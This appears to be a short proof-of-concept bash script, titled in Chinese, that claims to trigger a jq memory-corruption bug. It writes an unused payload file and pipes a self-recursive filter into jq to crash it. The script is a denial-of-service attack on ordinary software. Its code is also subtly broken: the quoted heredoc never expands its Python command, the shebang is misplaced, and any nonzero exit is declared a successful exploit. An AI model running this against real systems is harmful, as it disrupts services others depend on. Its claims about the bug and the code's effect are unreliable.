CVE-2026-41257 jq内存破坏漏洞

# PoC for CVE-2026-41257 # Description: This script attempts to trigger the integer overflow in jq's data stack # by creating a deeply nested generator structure. #!/bin/bash echo "[*] Creating a payload to trigger deep nesting..." # Create a JSON file with a structure that forces deep forks/generators cat << 'EOF' > payload.json { "a": "$(python3 -c 'print("a"*1000000)')" } EOF # Alternatively, use a jq filter that causes massive stack growth through recursion/forking # The specific trigger is deeply nested generator forks. echo "[*] Running jq with potentially malicious filter..." # This filter creates a large cartesian product or deep recursion to exhaust the stack FILTER='def g: ., g; g | g | g | g' echo '{}' | jq "$FILTER" > /dev/null 2>&1 if [ $? -ne 0 ]; then echo "[+] Exploit successful: jq crashed (likely due to stack overflow)" else echo "[-] Exploit failed: jq did not crash" fi rm payload.json